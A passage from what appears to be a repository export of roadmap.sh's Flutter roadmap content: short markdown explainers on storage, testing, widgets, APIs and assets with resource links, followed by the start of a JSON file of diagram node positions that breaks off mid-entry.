    "content": "# Storage\n\nIn Flutter, you can use Firebase Storage to store and retrieve binary data, such as images, audio files, and videos. Firebase Storage is a cloud-based storage service provided by Firebase that makes it easy to store and serve large binary data, such as images and videos, in your Flutter app.\n\nTo use Firebase Storage in your Flutter app, you need to first create a Firebase project in the Firebase Console and then add the Firebase Storage package to your Flutter app.\n\nLearn more from the following:\n\n- [@official@Firebase Storage](https://firebase.google.com/docs/storage)\n- [@video@How to Upload and Retrieve Images from Firebase Storage](https://www.youtube.com/watch?v=sM-WMcX66FI)\n- [@feed@Explore top posts about Storage](https://app.daily.dev/tags/storage?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/storage/index.md",
    "content": "# Storage\n\nFlutter provides several options for persistent storage, some of which are as follow:\n\n- SharedPreferences: A key-value store for small data.\n- SQLite database: A relational database for structured data.\n- File System: For storing large files and data.\n- Firebase: A real-time database and backend as a service.\n\nAll of these storage options are supported through third-party packages, which are easily integrated into a Flutter app.\n\nVisit the following links to learn more:\n\n- [@official@Cloud Storage in Flutter](https://firebase.flutter.dev/docs/storage/overview/)\n- [@video@Storage - Flutter Tutorial](https://www.youtube.com/watch?v=UpKrhZ0Hppks)\n- [@feed@Explore top posts about Storage](https://app.daily.dev/tags/storage?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/storage/shared-preferences.md",
    "content": "# Shared Preferences\n\nIn Flutter, SharedPreferences is a plugin allowing you to store data in key-value pairs persistently. It is similar to a local database or cache, but it is specifically designed to store small pieces of data, such as user preferences or settings. The SharedPreferences plugin is often used to store simple pieces of data that need to be accessed by multiple screens or widgets in an app. For example, you might use SharedPreferences to store the user's login status or the app's theme color.\n\nVisit the following resources to learn more:\n\n- [@official@How do I Access Shared Preferences?](https://docs.flutter.dev/get-started/flutter-for/android-devs#how-do-i-access-shared-preferences)\n- [@official@shared_preferences - pub.dev package](https://pub.dev/packages/shared_preferences)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/storage/sqlite.md",
    "content": "# SQLite\n\nSQLite is an open-source, lightweight relational database management system (RDBMS) used to store and manage data. It is written in C and self-contained, meaning it does not require a separate server process or system. SQLite is commonly used in mobile applications, embedded systems, and web browsers and is also supported by many programming languages. It is a popular choice for databases because it is easy to use and does not require a lot of setup or configuration.\n\nVisit the following resources to learn more:\n\n- [@article@sqflite - pub.dev package](https://pub.dev/packages/sqflite)\n- [@article@drift - pub.dev package](https://pub.dev/packages/drift)\n- [@feed@Explore top posts about SQLite](https://app.daily.dev/tags/sqlite?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/testing/bdd.md",
    "content": "# BDD\n\nBehavior-driven development (BDD) is a software development methodology that emphasizes collaboration between developers, testers, and stakeholders to define and verify the behavior of an application. BDD uses natural language to describe the expected behavior of the application and provides a shared understanding of the requirements for the development team.\n\nLearn more from the following links:\n\n- [@article@Build Flutter with BDD](https://medium.com/tide-engineering-team/build-flutter-with-bdd-b4507170a2fe)\n- [@video@Tutorial - BDD in Flutter](https://www.youtube.com/watch?v=Kwvsc31FE_8)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/testing/index.md",
    "content": "# Testing\n\nTesting is a crucial part of the development process in Flutter, as it helps you to verify the behavior and appearance of your app and ensure that it behaves correctly and consistently across different devices and platforms.\n\nLearn more from the following links:\n\n- [@official@Dart Testing](https://dart.dev/guides/testing)\n- [@official@Testing Flutter Apps](https://docs.flutter.dev/testing)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/testing/integration-testing.md",
    "content": "# Integration Testing\n\nIntegration tests in Flutter are tests that verify the behavior of your app as a whole, rather than individual widgets or functions. Integration tests allow you to test the interactions between different parts of your app and verify that the overall behavior of the app is correct.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Integration Testing](https://docs.flutter.dev/cookbook/testing/integration/introduction)\n- [@official@Integration Tests](https://docs.flutter.dev/testing#integration-tests)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/testing/tdd.md",
    "content": "# TDD\n\nTest-driven development (TDD) is a software development methodology in which tests are written before the implementation of the code they are testing. The idea behind TDD is to write a failing test first, then write just enough code to make the test pass, and then refactor the code if necessary. This process is repeated for each new feature or requirement that is added to the app.\n\nLearn more from the following links:\n\n- [@article@Test-Driven Development in Flutter](https://techblog.geekyants.com/test-driven-development-in-flutter)\n- [@video@Flutter TDD Clean Architecture Course](https://www.youtube.com/watch?v=KjE2IDphA_U)\n- [@feed@Explore top posts about TDD](https://app.daily.dev/tags/tdd?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/testing/unit-testing.md",
    "content": "# Unit Testing\n\nUnit testing in Flutter is the process of testing individual units of code, such as functions or classes, to ensure that they behave as expected. Unit testing helps to catch bugs early in the development process and increases the confidence in your code by making it easier to refactor or make changes without breaking existing functionality.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Unit Testing](https://docs.flutter.dev/cookbook/testing/unit/introduction)\n- [@official@Unit Tests - Flutter](https://docs.flutter.dev/testing#unit-tests)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/testing/widget-testing.md",
    "content": "# Widget Testing\n\nWidget testing in Flutter is the process of testing the behavior and appearance of individual widgets, in isolation from the rest of your app. It allows you to verify that a widget works correctly, displays the expected output, and behaves correctly in response to user interactions.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Widget Testing](https://docs.flutter.dev/cookbook/testing/widget/introduction)\n- [@official@Widget Tests - Flutter](https://docs.flutter.dev/testing#widget-tests)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/version-control-systems/git.md",
    "content": "# Git\n\nGit is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git Documentation](https://git-scm.com/)\n- [@article@Learn Git with Tutorials, News and Tips - Atlassian](https://www.atlassian.com/git)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/version-control-systems/index.md",
    "content": "# Version Control Systems\n\nVersion control systems allow you to track changes to your codebase/files over time. They allow you to go back to some previous version of the codebase without any issues. Also, they help in collaborating with people working on the same code – if you’ve ever collaborated with other people on a project, you might already know the frustration of copying and merging the changes from someone else into your codebase; version control systems allow you to get rid of this issue.\n\nVisit the following resources to learn more:\n\n- [@article@What is Version Control? - GitHub](https://github.com/resources/articles/software-development/what-is-version-control)\n- [@article@What is Version Control? - Atlassian](https://www.atlassian.com/git/tutorials/what-is-version-control)\n- [@video@Version Control System Introduction](https://www.youtube.com/watch?v=zbKdDsNNOhg)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)\n- [@video@Learn Git in 20 Minutes](https://youtu.be/Y9XZQO1n_7c?t=21)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/widgets/index.md",
    "content": "# Widgets\n\nWidgets in Flutter are the basic building blocks of the user interface. They define how the UI looks and behaves. Widgets can be combined to create complex user interfaces and can be easily customized. Widgets in Flutter are also designed to be highly reusable, allowing developers to build complex UIs quickly and efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Widgets](https://docs.flutter.dev/development/ui/widgets-intro)\n- [@official@Widget Catalog](https://docs.flutter.dev/development/ui/widgets)\n- [@video@Flutter Widgets Explained](https://www.youtube.com/watch?v=FU2Eeizo95o)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/widgets/inherited-widgets.md",
    "content": "# Inherited Widgets\n\nInherited widgets in Flutter are a powerful mechanism for efficiently propagating data down the widget tree. They essentially create a shared data scope that descendant widgets can access without needing to explicitly pass the data through constructors. When a widget needs to access data from an ancestor, it can simply look up the nearest inherited widget of the desired type.\n\nVisit the following resources to learn more:\n\n- [@official@Inherited Widgets](https://api.flutter.dev/flutter/widgets/InheritedWidget-class.html)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/widgets/responsive-widgets.md",
    "content": "# Responsive Widgets\n\nResponsive widgets in Dart, primarily within Flutter, are crucial for building applications that adapt to diverse screen sizes and orientations. Developers achieve this adaptability using tools like `LayoutBuilder` to respond to available space, `MediaQuery` to gather device information, and `Expanded` and `Flexible` for dynamic space distribution. `AspectRatio` maintains proportions, `OrientationBuilder` adjusts for landscape or portrait modes, and `Wrap` handles overflow by moving widgets to new lines. Adaptive widgets and custom layouts further enhance platform-specific responsiveness. By employing these techniques and considering breakpoints and thorough testing, developers can create Flutter apps that provide a consistent and optimal user experience across various devices.\n\nVisit the following resources to learn more:\n\n- [@official@Responsive Widget](https://docs.flutter.dev/ui/layout/adaptive-responsive)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/widgets/stateful-widgets.md",
    "content": "# Stateful widgets\n\nA stateful widget is dynamic: for example, it can change its appearance in response to events triggered by user interactions or when it receives data. Checkbox, Radio, Slider, InkWell, Form, and TextField are examples of stateful widgets.\n\nVisit the following resources to learn more:\n\n- [@official@StatefulWidget](https://api.flutter.dev/flutter/widgets/StatefulWidget-class.html)\n- [@video@Flutter Tutorial - Stateful Widgets](https://www.youtube.com/watch?v=p5dkB3Mrxdo)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/widgets/stateless-widgets.md",
    "content": "# Stateless Widgets\n\nStateless widgets in Flutter are widgets that don't maintain any mutable state. They are designed to be immutable and rebuild each time the framework needs to update the UI. They are suitable for static, unchanging views or simple animations. They can be created using the `StatelessWidget` class and have a single build method that returns a widget tree.\n\nVisit the following resources to learn more:\n\n- [@official@StatelessWidget Class](https://api.flutter.dev/flutter/widgets/StatelessWidget-class.html)\n- [@article@How to Create Stateless Widgets](https://medium.com/flutter/how-to-create-stateless-widgets-6f33931d859)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/widgets/styled-widgets/cupertino-widgets.md",
    "content": "# Cupertino Widgets\n\nCupertino widgets are a set of Flutter widgets that mimic the look and feel of Apple's iOS user interface. They are designed to provide a consistent look and feel on both iOS and Android devices, and include widgets such as CupertinoButton, CupertinoAlertDialog, and CupertinoSlider. These widgets are useful for building cross-platform apps that need to conform to the iOS design aesthetic.s\n\nVisit the following resources to learn more:\n\n- [@official@Cupertino (iOS-style) Widgets](https://docs.flutter.dev/development/ui/widgets/cupertino)\n- [@article@Flutter Cupertino Tutorial](https://blog.logrocket.com/flutter-cupertino-tutorial-build-ios-apps-native/)\n- [@video@Flutter Cupertino Widgets](https://www.youtube.com/watch?v=L-TY_5NZ7z4)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/widgets/styled-widgets/index.md",
    "content": "# Styled Widgets\n\nStyled Widgets are Flutter widgets that are decorated with custom styles, such as colors, fonts, and shapes. They can be created by wrapping existing widgets with other widgets, such as Container, Theme, or BoxDecoration.\n\nLearn more from the following links:\n\n- [@official@Styling Widgets](https://docs.flutter.dev/development/ui/widgets/styling)\n- [@video@Style Your Flutter Widgets](https://www.youtube.com/watch?v=kcq8AbVyMbk)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/widgets/styled-widgets/material-widgets.md",
    "content": "# Material Widgets\n\nMaterial Widgets are a set of Flutter widgets that implement Material Design, Google's visual language for design. They are designed to provide a consistent look and feel on both Android and iOS devices.\n\nThese widgets are commonly used in Flutter apps to provide a familiar look and feel that follows Material Design guidelines.\n\nVisit the following resources to learn more:\n\n- [@official@Material Components Widgets](https://docs.flutter.dev/development/ui/widgets/material)\n- [@official@Widget catalog in Flutter](https://docs.flutter.dev/development/ui/widgets)\n- [@article@Material Designs Guidelines](https://m2.material.io/design/guidelines-overview)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/working-with-apis/graphql.md",
    "content": "# GraphQL\n\nGraphQL is a query language for your API that allows clients to request exactly the data they need, and nothing more. It was developed by Facebook and released as open source in 2015.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated GraphQL Roadmap](https://roadmap.sh/graphql)\n- [@official@GraphQL](https://graphql.org)\n- [@official@Learn GraphQL](https://graphql.org/learn)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/working-with-apis/index.md",
    "content": "# Working with APIs\n\nWorking with APIs in Flutter involves making HTTP requests to a server and processing the responses. Flutter provides a number of libraries for making HTTP requests, including `dart:io` and `http`.\n\nThe `http` library is a popular choice for making HTTP requests in Flutter, as it is easy to use and provides support for HTTP methods such as GET, POST, PUT, DELETE, and more.\n\nLearn more from the following resources:\n\n- [@article@Using Google APIs](https://dart.dev/guides/google-apis)\n- [@video@How to work with APIs in Flutter?](https://www.youtube.com/watch?v=uVo7HDWDUEQ)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/working-with-apis/json.md",
    "content": "# JSON\n\nJSON (JavaScript Object Notation) is a lightweight data interchange format that is easy for humans to read and write and easy for machines to parse and generate. In Flutter, JSON is used for transmitting data between the client and server, typically over an HTTP connection.\n\nFlutter provides a number of libraries for working with JSON data, including the `dart:convert` library, which provides support for encoding and decoding JSON data.\n\nTo encode a Dart object to a JSON string, you can use the `jsonEncode` function from the `dart:convert` library. To decode a JSON string to a Dart object, you can use the jsonDecode function.\n\nVisit the following resources to learn more:\n\n- [@official@JSON and serialization](https://docs.flutter.dev/development/data-and-backend/json)\n- [@official@Using JSON](https://dart.dev/guides/json)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/working-with-apis/restful-apis.md",
    "content": "# REST\n\nREST, or REpresentational State Transfer, is an architectural style for providing standards between computer systems on the web, making it easier for systems to communicate with each other.\n\nVisit the following resources to learn more:\n\n- [@article@What is a REST API?](https://www.redhat.com/en/topics/api/what-is-a-rest-api)\n- [@article@Roy Fieldings dissertation chapter, Representational State Transfer (REST)](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm)\n- [@article@Learn REST: A RESTful Tutorial](https://restapitutorial.com/)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/working-with-apis/web-sockets.md",
    "content": "# Web Sockets\n\nIn addition to normal HTTP requests, you can connect to servers using WebSockets. Web sockets allows for bidirectional communication between a client (such as a web browser) and a server over a single, long-lived connection. They are a more efficient alternative to HTTP for providing real-time data, as they allow for the server to push data to the client as soon as it becomes available, rather than requiring the client to continuously poll the server for updates.\n\nVisit the following resources to learn more:\n\n- [@official@Work with WebSockets](https://docs.flutter.dev/cookbook/networking/web-sockets)\n- [@article@What is WebSocket and How It Works?](https://www.wallarm.com/what/a-simple-explanation-of-what-a-websocket-is)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/working-with-assets/fonts.md",
    "content": "# Fonts\n\nYou can use custom fonts in your app by including the font file in your app's assets and specifying the font in your app's styles. To use a custom font:\n\n- Add the font files to your app's assets folder.\n- In your pubspec.yaml file, specify the fonts under the flutter section\n- In your app's styles, specify the font family\n- Use the font in a Text widget\n\nVisit the following resources to learn more:\n\n- [@official@Fonts](https://docs.flutter.dev/cookbook/design/fonts)\n- [@article@How to use custom fonts in Flutter](https://blog.logrocket.com/use-custom-fonts-flutter/)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/working-with-assets/images.md",
    "content": "# Images\n\nIn Flutter, you can display images using the `Image` widget. There are several ways to add an image to your app:\n\n- Asset: Add the image to your app's assets and specify the asset path in the `Image` widget.\n- Network: Display an image from a URL by specifying the URL in the `Image` widget.\n- File: Display an image from a file by specifying the file path in the `Image` widget.\n\nThe `Image` widget also accepts additional parameters such as `fit`, `width`, and `height` to control the size and scaling of the image.\n\nVisit the following resources to learn more:\n\n- [@official@Adding Assets and Images](https://docs.flutter.dev/development/ui/assets-and-images)\n- [@article@Images in Flutter](https://docs.flutter.dev/cookbook/images)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/working-with-assets/index.md",
    "content": "# Working with Assets\n\nAssets are resources such as images, fonts, and other files that are included in your app. To use assets in Flutter, you need to specify them in your app's `pubspec.yaml` file and then access them in your code.\n\nThe `pubspec.yaml` file is used to manage dependencies, assets, and other settings in your Flutter app. The `flutter` section is used to specify assets that should be included with the app. The path specified in the `assets` section should be relative to the `pubspec.yaml` file.\n\nLearn more from the following links:\n\n- [@official@Adding Assets in Flutter](https://docs.flutter.dev/development/ui/assets-and-images)\n- [@video@Flutter Tutorial - Assets](https://www.youtube.com/watch?v=Hxh6nNHSUjo)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/working-with-assets/other-file-types.md",
    "content": "# Other File Types\n\nIn Flutter, you can work with different file types besides images. Some common file types that you can use in Flutter include:\n\n1. Text files: You can read or write text files using the dart:io library.\n2. JSON files: You can parse JSON data using the dart:convert library.\n3. Audio and Video files: You can play audio and video files using the video_player and audioplayers packages.\n4. PDF files: You can display PDF files using the pdf package.\n\nLearn more from the following links:\n\n- [@official@File Class](https://api.flutter.dev/flutter/dart-io/File-class.html)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/flutter/flutter.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"5mP-UAw3ZjHClOmXevcU_\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -112.89917160142375,\n        \"y\": 2282.4983647057848\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"fDeDX_IqdhW50Gw12LZgG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 92\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -112.89917160142375,\n        \"y\": 2282.4983647057848\n      }\n    },\n    {\n      \"id\": \"oxNlCMcDBbk8C3Kw8rcEY\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -230.39917160142375,\n        \"y\": 2282.4983647057848\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"5mP-UAw3ZjHClOmXevcU_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 92\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -230.39917160142375,\n        \"y\": 2282.4983647057848\n      }\n    },\n    {\n      \"id\": \"fDeDX_IqdhW50Gw12LZgG\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -548.798072051004,\n        \"y\": 2298.98064587324\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"IXUumhUDQI7VHXbTxwx89\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 80\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -548.798072051004,\n        \"y\": 2298.98064587324\n      }\n    },\n    {\n      \"id\": \"JUN0S_NdgATxRFArC0bgV\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -663.798072051004,\n        \"y\": 1999.4983647057848\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"fDeDX_IqdhW50Gw12LZgG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 363\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -663.798072051004,\n        \"y\": 1999.4983647057848\n      }\n    },\n    {\n      \"id\": \"SSg6HqXQPqLLAnro-aLX3\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -503.7980720510041,\n        \"y\": 1903.5364487551285\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"5mP-UAw3ZjHClOmXevcU_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 80\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -503.7980720510041,\n        \"y\": 1903.5364487551285\n      }\n    },\n    {\n      \"id\": \"G9pXbNeZhNvoAhAITWaIy\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -663.798072051004,\n        \"y\": 1903.5364487551285\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"JUN0S_NdgATxRFArC0bgV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 80\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -663.798072051004,\n        \"y\": 1903.5364487551285\n      }\n    },\n    {\n      \"id\": \"U8CNANgKT7FqoQsYZsyku\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 255.8618127280065,\n        \"y\": 1521.2737248742874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"fDeDX_IqdhW50Gw12LZgG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 72\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 255.8618127280065,\n        \"y\": 1521.2737248742874\n      }\n    },\n    {\n      \"id\": \"xCj1NOkQYSULuiUOWlYFp\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -138.14790096520323,\n        \"y\": 1301.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"72SPnaV-p2qaeYPWmZpIz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 95\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -138.14790096520323,\n        \"y\": 1301.2051467174065\n      }\n    },\n    {\n      \"id\": \"rtD3LR8ks9KtCk1EFDQqI\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 57.8618127280065,\n        \"y\": 1119.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 341\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 57.8618127280065,\n        \"y\": 1119.7051467174065\n      }\n    },\n    {\n      \"id\": \"4NfDI-vNQxBgufzYCG_SG\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -513.798072051004,\n        \"y\": 804.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"IXUumhUDQI7VHXbTxwx89\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 102\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -513.798072051004,\n        \"y\": 804.2051467174066\n      }\n    },\n    {\n      \"id\": \"3096G0YlAraf2CtJCmy1I\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -671.798072051004,\n        \"y\": 804.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"Cvpnb9g1aY1tBvhWTWQie\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 100\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -671.798072051004,\n        \"y\": 804.2051467174066\n      }\n    },\n    {\n      \"id\": \"Cvpnb9g1aY1tBvhWTWQie\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -138.14790096520323,\n        \"y\": 541.8088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"IXUumhUDQI7VHXbTxwx89\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 87\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -138.14790096520323,\n        \"y\": 541.8088490418818\n      }\n    },\n    {\n      \"id\": \"aDmL9nN4QDtRbPDDMo98J\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 244.8618127280065,\n        \"y\": 450.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"IXUumhUDQI7VHXbTxwx89\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 102\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 244.8618127280065,\n        \"y\": 450.7051467174066\n      }\n    },\n    {\n      \"id\": 